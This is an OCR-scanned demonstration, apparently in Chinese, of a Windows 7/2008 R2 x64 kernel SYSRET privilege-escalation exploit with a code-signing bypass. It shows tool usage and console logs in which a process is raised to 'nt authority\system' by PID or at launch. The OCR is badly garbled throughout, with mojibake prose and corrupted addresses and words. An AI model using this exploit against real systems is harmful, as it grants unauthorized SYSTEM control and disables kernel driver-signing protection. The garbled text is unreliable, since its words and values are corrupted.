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Windows Kernel Intel x64 SYSRET Vulherability Exploit + Kernel Code Signing Bypass
Bonus

The shellcode disables kernel Code Signing and will grant NT SYSTEM privilege to specified
Application or already running process (PID). exploit successfully tested on Windows 7
SP0/1 (x64) and Windows 2008 R2 SP1 (x64).

TR

HHEIEAT sysret:
C:sUserssgg-DesktopsSysretrsysret.exe
Usage = sysret.exe Loaptdieny <argumepts:
option =

—pid <pid>

—exec 4“executablel

C:sUserssgg-Desktop'buyspet’™

Al I, sysret BHWANThAE, — 2T E pid KIHEFESRTS system BUR, —fdids e e
JPAA system BUFR
CHER, WIEZ, WTREAEAHR, FIGREHSLK, 2 EXHAINEE).

hfemiR: CRFAEE: windows 2008 R2 x64)

1. Sysret —pid

Sysret —pid 7] LR & pid HIREFEETH N system AR . WK, #re$% U cmd.exe 2%,
AﬁzJJ cmd2.exe Ch T XHIIE, LA T 45)
1217 cmd2.exe, #47T whoami fir 4

CisllzerssggsDezsktop~Sysret >uhoami
win—dbhl68 lum?b gy

C:slUserssgg-Desktop Sysret >

SRJA, AT taskist 74, AEAHEFE cmd2 1) pid:

nd .exe
onhost .exe
ysret . .exe
JerFault .exe
md2 .exe
onhoszt .exe

md . exe

A LAE R, cmd2.exe i pid 4 1604.
e, fiH sysret —pid 1604 4% cmd2 AR HEHCN sy stem:



C:slUzersswgg~Desktop~Sysret*sysret.exe —pid 1684

[+]1 Windows Kernel Intel x64 Sysret Uulnerabhility (M312-842>
[+]1 Exploited by Shahrivar Jalaveri (Shahrivar.j [at] gmail> — Jjust for fu
[+] Escalating PID : BANOBAREEANAOG44

[+]1 Hooking RtlpUmsPrimaryContextWrap...

[+]1 RBtlplUmsPrimaryContextlWrap hook point at : BEBABEBETY?CDA46A
[+]1 Allocating null page...

[+]1 Page allocated at : BAARHBARAARBAAAEA

[+]1 Control flow changed to zshellcode execution path.

[+]1 Kernel Executive Entry <ntoskenl.exe> at : FFFFF8B8AA165A006
[+]1 PzLookupProcessByProcessId at = FFFFFEBABA1?AD1FC

[+] g_CiEnabled Pointer at : FFFFF30HE188BERE —

[+]1 Shellcode memory allocated at = EEEBEEEEBBEFBEﬁE

[+] Shellcode fixed and palaced at allocated memuTy.

[+]1 Entering User-mode Scheduling Mode? I

B, £ cmd2.exe #, FRIZ4T whoami #ir4>, IiE /& 75 /& system:
C:wlUzerssgg-Desktop~Sysret >uhoani
win—dbhl68 lum?h g

CoslUzerssggsDesktops~Sysret >uwhoami
nt authority~zsystem

G:\Users\qq\Deskt&pHEysrétﬁ_ ;

ATLER], BRSPS T system AR

2. Sysret —exec
Xk, [FEFEFE DL emd.exe, HEd4 N cmd3.exe, SRJE, ELGTIEATUNN 64
Sysret —exec cmd3.exe KLl system £ [Riz1T cmd3.exe:

C \Uﬁer sggsDesktopsSysretrsysret.exe —exec cmdl.e
Windows Kernel Intel x64 Sysret Uulnerahility (H312—B42)
[+] Exploited by Shahrivar Jalavyeri (Shahrivar.j [at] gmail> — just for fun
[+]1 Spawning child process...
[+]1 Hooking RtlplUmsPrimaryContextWrap...
[+]1 RtlpUmsPrimaruvContextlrap hook point at : BABBEEBAY?CDO46A
[+]1 Allocating null page...
[+] Page allocated at : B0080OAROEAAAEAEAA
[+]1 Control flow changed to shellcode execution path.
[+]1 Kernel Executive Entry <ntoskrnl.exe? at : FFFFFB8AAA165ABEHE
[+]1 PsLookupProcessByProcessId at : FFFFFBABBA1?AD1FC
[+] g_CiEnabled Pointer at : FFFFFEABE1E80EBSB
[+]1 Shellcode memory allocated at : BBBABARABHA1 78080
[+]1 Shellcode fixed and palaced at allocated memory.
The system cannot find message text for message number Bx2358 in the message Fil
e for Application. : - e |
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C:wUserssgg-Desktop~Sysret>[+] Entering User—mode Schedu-ing.ﬂudef

ATLAIEF], cmd3.exe & isfT 1. %A\ whoami:



[+]1 PzLookupProcessByProcessld at :

[+]1 g_CiEnahled Pointer at : FFFFFEOOAA1880AERS

[+]1 Shellcode memory allocated at : BHABABAREA1L7AAEH

[+]1 Shellcode fixed and palaced at allocated memory.

The system cannot find message text for message number Bx2350 in th

e for Application.
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C:xUserssggsDesktopsSysret>[+] Entering Uﬁefmmndﬁ Sdhqﬂu}iﬁg ﬁéde!
whoami ' | 21
nt authority~system
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